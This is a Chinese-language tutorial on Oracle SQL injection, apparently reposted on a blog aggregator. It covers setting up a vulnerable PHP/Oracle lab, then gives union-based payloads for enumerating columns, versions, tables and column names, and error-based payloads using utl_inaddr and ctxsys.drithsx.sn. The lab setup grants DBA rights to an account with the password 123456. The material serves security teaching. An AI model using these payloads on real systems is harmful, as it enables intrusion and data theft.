SQL注入之Oracle注入

SQL注入之Oracle注入

7.1 SQL注入之Oracle環境搭建

前言

Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。

特點:

1)完整的數據管理功能

2)數據的大量性

3)數據保存的持久性

4)數據的共享性

5)數據的可靠性

1.下載Oracle Database 11g Release 2 安裝包

Windows環境(Win10)下安裝、配置桌面類Oracle Database 11g Release 2

PS1:安裝包分為了兩個壓縮包,需要都下載下來才能進行安裝

132位&64位百度云分享鏈接及提取碼:

鏈接: https://pan.baidu.com/s/1mh7s1nU

密碼: 8neh

2.將下載好的兩個壓縮包解壓到database同一個路徑下(即進行合并)

image.png

3.點開上圖中的database文件夾,雙擊運行setup.exe開始進行安裝

image.png

4.加載安裝程序需要一些時間,加載完成后便會出現安裝界面,如果是在虛擬機的Windows10環境下進行的安裝,會彈出“環境不滿足最低要求”的對話框,如出現此窗口,則點擊“是”進行后續操作

image.png

5.首先進行安全更新的配置,"電子郵件"處如果不需要接收Oracle的郵件通知則不填(如果沒填的話會彈出一個“未指定電子郵箱地址”的窗口,如不需要接收其通知則點擊“是”進行下一步操作),“安全更新”處如果不需要接收其更新則取消勾選

6.然后進入到“安裝選項”的界面,選擇“創建和配置數據庫”(在安裝完成后,會自動進入到數據庫的配置界面)

7.接下來進入到“系統類”的選擇,這里選擇“桌面類”

8.接下來進入到“典型安裝”的配置,下面為“典型配置”界面內容的說明

image.png

① “Oracle目錄基目錄”:所有Oracle產品的基目錄,如果這里進行了修改,下面的目錄也會相應地自動進行更改,目錄名稱不建議使用中文(玄學)

② “軟件位置”:當前進行安裝軟件(即Oracle Database 11g)的安裝目錄,其安裝目錄不能含空格字符,同樣不建議使用中文(玄學)

③ “數據文件位置”:存儲數據庫內容的位置,同樣不建議使用中文(還是玄學)

④ 關于數據庫版本:企業版包含了Oracle Database完整功能,其他版本的詳細說明可以查看Oracle Database 的幫助文檔

⑤ 關于字符集的選擇:建議選擇為UTF-8(通用性更好)

⑥ “全局數據庫名”:啟動數據庫的名稱(不超過8個字符)

⑦ “管理口令”:啟動數據庫的口令

注意:Oracle官方文檔建議口令為(只是建議,如果是學習用的話可以設置得簡單些,但要滿足最低要求,例如設置為“Oracle”)

⑧ “確認口令”:在此字段再次輸入管理口令

image.png

9.接下來會進行先決條件的檢查,如果檢查通過則會自動進入到“概要”界面,若檢查出現錯誤提示,請自行尋找解決方案或者直接選擇“忽略”

10.安裝需要一些時間,耐心等待即可

11.之后會彈出數據庫配置窗口(Database Configuration Assistant),不要點擊“確定”或者直接關閉該窗口,而是點擊“口令管理”,因為還需要“口令管理”窗口進行后續配置(用戶的解鎖以及口令的修改)

12.進入到管理窗口后,需要修改sys,system,scott,sh這四個用戶(用戶的解鎖以及口令的修改)

下表為Oracle數據庫中的主要用戶及作用

image.png

口令的修改:在“新口令”處輸入新口令,在“確認口令”處再次輸入新口令(口令不能為空,不能超過30個字符,且不能為用戶名)

之后點擊“確定“即完成用戶的解鎖及口令的修改(如果口令不滿足Oracle建議標準的四個“至少”依舊會彈出警告框,若出現則點擊“是”繼續后續操作)

13.之后會回到Database Configuration Assistant窗口,點擊“確定”進入到“完成”界面

14.啟動服務(非必選項,根據情況來)

安裝完成后,在計算機系統中將出現若干個Oracle服務,可以進入到計算機管理界面,依次點擊“服務和應用程序”、“服務”,以查看/管理Oracle 服務(具體如何進入到計算機管理界面請自行查詢方法),這些服務可以都設置為手工啟動(設置方法為:右鍵需要修改的服務→點擊“屬性”→在“啟動類型”處設置為“手工啟動”→點擊“確定”),以防其對計算機運行/啟動速度造成影響,等需要用到Oracle Database時再啟動這些服務

image.png

15.測試下與Oracle Database的連接

運行SQL Plus

用戶名:sys/as sysdba

image.png

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)]

7.2 SQL注入之Navicat連接和Oci8環境搭建

一、Navicat連接數據庫

第一步,使用SQL Plus語句連接Oracle數據庫

請輸入用戶名: sys/as sysdb

第二步,查看數據庫版本信息

SQL> select * from v$version where rownum=1;BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production

第三步,創建賬號。

SQL> create user mc IDENTIFIED BY 123456;用戶已創建。

賦予權限連接數據庫(CONNECT)、實體創建(RESOURCE)和管理員(DBA)

GRANT CONNECT, RESOURCE, DBA TO mc;

第四步,下載Navicat 使用Navicat連接Oracle數據庫

解壓運行Navicat.exe

測試連接:

image.png

測試語句:

image.png

二、Phpstudy調試OCI8擴展服務

OCI8是PHP的擴展組件,用以連接和操縱Oracle數據庫(該名字源于Oracle中’C call interface’ API接口,該API最早在Oracle8中公布)。OCI 8 是開源的且已包括在PHP中了。

提前準備工作:

  1. 查看phpinfo() 確認下載版本
  2. 下載Oci8和Oracle Client

在WWW中創建info.php文件,運行以查看phpinfo信息

<?phpphpinfo();
?>

image.png

下載對應的oracle客戶端, 下載地址:
https://www.oracle.com/database/technologies/instant-client/downloads.html

注意根據安裝的Oracle版本來,上面我們查詢過的 11.2.0.1.0

image.png

把文件夾中 oci.dll 和 oraocci11.dll 復制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中

下載OCI8,添加擴展

https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下載oci8,版本需要與php版本一致

打開下載文件,將php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 擴展文件復制到PHP安裝目錄的ext目錄下

image.png

image.png

點擊設置,點擊配置文件,打開php配置文件

image.png

添加修改數據: extension=oci8_12c , extension=oci8 , extension=pdo_oci 取消前面的 ; (;代表注釋的意思)

三、測試

  1. 配置成功后重啟服務
  2. 查看info.php文件
  3. http://localhost/phpinfo.php配置成功,則會出現oracle版本號,如下圖所示image.png

四、Oracle注入漏洞靶場

  1. 將Oracle注入的文件(sql-test.php)復制到指定目錄

  2. 使用Navicat打開數據庫并創建一個簡單的demo表 表名 和 數據庫名 都必須要大寫

    CREATE TABLE "EASTMOUNT"."DEMO" (
    "ID" NUMBER NOT NULL ,
    "NAME" VARCHAR2(20 BYTE) NULL ,
    "AGE" NUMBER NULL ,
    "SEX" VARCHAR2(20 BYTE) NULL 
    )
    LOGGING
    NOCOMPRESS
    NOCACHE
    ;
    

    image.png

  3. 簡單插入一條數據

    image.png

  4. 運行靶場,傳遞id=1進行測試

    image.png

靶場相關環境搭建完畢!

7.3 SQL注入之Oracle聯合注入

1.注入基本規則

  1. Oracle使用查詢語句獲取數據時需要跟上表名,沒有表的情況下可以使用dual,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄。
  2. Oracle的數據類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數據時候必須讓對應位置上的數據類型和表中的列的數據是一致的,也可以是使用null代替某些無法快速猜測出數據類型的位置
  3. Oracle的單行注釋符號是–,多行注釋符號是/**/

2.實例注入語句

判斷列數: ' order by 3 --
-------------------------------------------------------判斷回顯位置: 'union select null,null,null,unll from dual --
-------------------------------------------------------獲取數據庫版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual 
-------------------------------------------------------獲取數據表名:
union select null,table_name,null,null from user_tables where rownum=1union select null,(select table_name from user_tables where rownum=1),null,null from dual--<>排除條件
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
-------------------------------------------------------獲取關鍵表中的列名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and rownum=1union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--

3.注入流程

  1. 尋找注入點:基本的步驟就是找到與數據庫交互的輸入框,然后判斷這個輸入框的數據類型,以及它的數據的閉合方式,然后添加一些判斷語句查看是否存在注入

    image.png

  2. 判斷列數

    Oracle數據庫同樣是通過order by 進行查詢數據表的列數判斷,order by必須是select -list表達式的列數,在真實環境中一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。

    image.png

  3. Oracle聯合查詢

    跟之前學習的MySQL一樣,Oracle同樣通過union 來實現聯合查詢注入

    image.png

    注意:因為在Oracle數據庫中的select查詢語句必須跟上查詢列表,所以在union后面的select查詢語句我們必須跟上from dual ,dual表是Oracle數據庫中自帶的虛擬表,可當萬能表用

  4. 信息收集

    可以通過回顯點收集相關信息

    select user from dual 獲取用戶名
    select banner from sys.v_$version where rownum=1 獲取版本
    
  5. 查詢表名 和 列名 獲取數據

    image.png

7.4 SQL注入之Oracle報錯盲注

  1. 1使用utl_inaddr.get_host_name()進行報錯注入

    作用:用于取得局域網或Internet環境中的主機名和IP地址

    select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual;

    image.png

    1注入語句:

    id=1  and 1=utl_inaddr.get_host_name((select user from dual))--
    

    image.png

  2. 使用ctxsys.drithsx.sn()進行報錯注入

    報錯語句:

    1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))ctxsys.drithsx.sn(mc,(查詢函數))--
    

    image.png

    1這里為什么需要1=呢,是因為Oracle的語言嚴謹,where后面跟的都是條件,單獨的字符串不能作為條件,比較才能作為條件,存在的字段名等于這個字符串也可以作為條件

    rownum

    1select * from demo rownum <=3 ;

    為什么第一個查詢有返回值,第二個查詢只是將ROWNUM=2,就沒有值返回。

    ROWNUM是一個偽列。該值在被讀入cache中時被分配了一個值。每次查詢該值都可能變化。同樣的一行記錄,可能由于讀入cache中的行數不同,而導致ROWNUM不同。

    image.png

    image.png

    同樣一行的rownum根據查詢返回值的不同而不同。在任何情況下,只有當rownum=1返回之后,才能夠返回rownum=2。如果查詢rownum大于1的值,如rownum=3,則是無效的,總是返回"No Rows Selected"的信息。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/38941.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/38941.shtml
英文地址,請注明出處:http://en.pswp.cn/news/38941.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在WordPress站點中展示閱讀量等流量分析數據(超詳細實現)

這篇文章也可以在我的博客中查看 關于本文 專業的流量統計系統能夠相對真實地反應網站的訪問情況。 這些數據可以在后臺很好地進行分析統計&#xff0c;但有時我們希望在網站前端展示一些數據 最常見的情景就是&#xff1a;展示頁面的瀏覽量 這簡單的操作當然也可以通過簡單…

(el-Form)操作(不使用 ts):Element-plus 中 Form 表單組件校驗規則等的使用

Ⅰ、Element-plus 提供的 Form 表單組件與想要目標情況的對比&#xff1a; 1、Element-plus 提供 Form 表單組件情況&#xff1a; 其一、Element-plus 自提供的 Form 代碼情況為(示例的代碼)&#xff1a; // Element-plus 自提供的代碼&#xff1a; // 此時是使用了 ts 語言環…

6.3 社會工程學攻擊

數據參考&#xff1a;CISP官方 目錄 社會工程學攻擊概念社會工程學攻擊利用的人性 “弱點”典型社會工程學攻擊方式社會工程學攻擊防護 一、社會工程學攻擊概念 什么是社會工程學攻擊 也被稱為 "社交工程學" 攻擊利用人性弱點 (本能反應、貪婪、易于信任等) 進…

螢石直播以及回放的接入和銷毀

以下基于vue項目 1.安裝 npm i ezuikit-js 2、導入 main.js中 import EZUIKit from "ezuikit-js"; //導入螢石Vue.use(EZUIKit); 3、創建容器 <div class"video"><div id"video-container"></div><!-- <iframe :src…

棧存儲結構詳解

目錄 棧存儲結構詳解 進棧和出棧 棧的具體實現 棧的應用 什么是隊列&#xff08;隊列存儲結構&#xff09; 棧存儲結構詳解 同順序表和鏈表一樣&#xff0c;棧也是用來存儲邏輯關系為 "一對一" 數據的線性存儲結構&#xff0c;如圖 1 所示。 圖 1 棧存儲結構示意…

HTML5的介紹和基本框架

目錄 HTML5 HTML5介紹 HTML5的DOCTYPE聲明 HTML5基本骨架 html標簽 head標簽 body標簽 title標簽 meta標簽 在vscode中寫出第一個小框架 HTML5 HTML5介紹 HTML5是用來描述網頁的一種語言&#xff0c;被稱為超文本標記語言。用HTML5編寫的文件&#xff0c;后綴以.ht…

設備加密狗

場景描述 隨著科技的飛速發展&#xff0c;越來越多的智能設備走進生產加工車間。例如智能雕刻機、鈑金機、 榫槽機、鉆孔機、磨刀機等等。 目前市場的智能設備具有一個共同的特點&#xff0c;內置嵌入操作系統&#xff0c;如windows或者linux系統。設備制造商提供智能設備出…

20天學會rust(四)常見系統庫的使用

前面已經學習了rust的基礎知識&#xff0c;今天我們來學習rust強大的系統庫&#xff0c;從此coding事半功倍。 集合 數組&可變長數組 在 Rust 中&#xff0c;有兩種主要的數組類型&#xff1a;固定長度數組&#xff08;Fixed-size Arrays&#xff09;和可變長度數組&…

Ajax如何理解

什么是ajax ●認識前后端交互 ○就是 前端 與 后端的 一種通訊方式 ○主要使用的技術棧就是 ajax (async javascript and xml) ●ajax 特點 ○使用 ajax 技術網頁應用能夠快速的將新內容呈現在用戶界面 ○并且不需要刷新整個頁面, 也就是能夠讓頁面有 "無…

Java技術整理(5)—— Spring篇

Spring是一個全面的全面的、企業應用開發一站式的解決方案&#xff0c;貫穿表現層、業務層、持久層。但是 Spring 仍然可以和其他的框架無縫整合。 1、Spring的核心組件 &#xff08;1&#xff09;數據層&#xff1a; JDBC、ORM、OXM、JMS、Transations &#xff08;2&#x…

Flutter 中,ListView 中需要放置 ListView 需要怎么處理才高效?

問題及場景 ListView 是 Flutter 開發者第一個學習到的 Widget&#xff0c;因為它可以滑動。一切都會運行得很好&#xff0c;直到 ListView 中的 Item 本身也是一個 ListView。你可能會看到 Flutter 建議你將內部的 ListView 的ShrinkWrap 屬性設置為 True。雖然錯誤消除了&am…

連續兩年增收不增利,比亞迪電子靠新能源汽車業務再次起飛?

在凈利潤連續兩年下挫之后&#xff0c;比亞迪電子&#xff08;00285.HK&#xff09;終于迎來了好消息。 不久前比亞迪電子發布2023年中期盈利預告顯示&#xff0c;上半年凈利潤同比增加115%-146%&#xff08;2022年上半年的凈利潤顯示6.34億元&#xff09;。 這主要受益于大客…

包管理工具 nvm npm nrm yarn cnpm npx pnpm詳解

包管理工具 nvm npm yarn cnpm npx pnpm npm、cnpm、yarn、pnpm、npx、nvm的區別&#xff1a;https://blog.csdn.net/weixin_53791978/article/details/122533843 npm、cnpm、yarn、pnpm、npx、nvm的區別&#xff1a;https://blog.csdn.net/weixin_53791978/article/details/1…

【Freertos基礎入門】2個Freertos的Delay函數

文章目錄 前言一、vTaskDelay與vTaskDelayUntil二、示例代碼總結 前言 本系列基于stm32系列單片機來使用freerots 任務管理是實時操作系統&#xff08;RTOS&#xff09;的核心功能之一&#xff0c;它允許開發者以并發的方式組織和管理多個任務。FreeRTOS 是一個流行的開源RTO…

嵌入式開發中常用且雜散的命令

1、mount命令 # 掛載linux系統 mkdir /tmp/share mount -t nfs 10.77.66.88:/share/ /tmp/share -o nolock,tcp cd /tmp/share# 掛載Windows系統 mkdir /tmp/windows mount -t nfs 10.66.77.88:/c/public /tmp/windows -o nolock,tcp cd /tmp/windows# 掛載vfat格式的U盤 mkdi…

強訓第32

選擇 D B A A 發送TCP意思應該是已經建立了連接&#xff0c;會超時重傳。在未建立連接的時候&#xff0c;會放棄該鏈接 C A 80端口是http A 交換機攻擊主要有五種&#xff1a;VLAN跳躍攻擊 生成樹攻擊 MAC表洪水攻擊 ARP攻擊 VTP攻擊 B A 2^(32-26)2^(32-27)2^(32-27)128 減去…

基于Java+SpringBoot+Vue+echarts健身房管理系統設計和實現

博主介紹&#xff1a;?全網粉絲30W,csdn特邀作者、博客專家、CSDN新星計劃導師、Java領域優質創作者,博客之星、掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域和畢業項目實戰? &#x1f345;文末獲取源碼聯系&#x1f345; &#x1f447;&#x1f3fb; 精彩專…

maven Jar包反向install到本地倉庫

maven Jar包反向install到本地倉庫 需求實現 需求 項目打包時報錯&#xff0c;缺少一個jar包。 但是在maven倉庫都找不到此jar包&#xff0c;其他人提供了這個jar包。 需要把這個jar包install到本地倉庫&#xff0c;使項目能正常打包運行。 實現 使用git bash命令執行以下腳…

16.3.4 【Linux】系統資源的觀察

free &#xff1a;觀察內存使用情況 系統當中有 2848MB 左右的實體內存&#xff0c;我的 swap 有 1GB 左右&#xff0c; 那我使用free -m 以 MBytes 來顯示時&#xff0c;就會出現上面的信息。Mem 那一行顯示的是實體內存的量&#xff0c;Swap 則是內存交換空間的量。 total 是…

C++多態

文章目錄 &#x1f435;1. 什么是多態&#x1f436;2. 構成多態的條件&#x1f429;2.1 虛函數&#x1f429;2.2 虛函數的重寫&#x1f429;2.3 final 和 override關鍵字&#x1f429;2.4 重載、重寫、重定義對比 &#x1f431;3. 虛函數表&#x1f42f;4. 多態的原理&#x1f…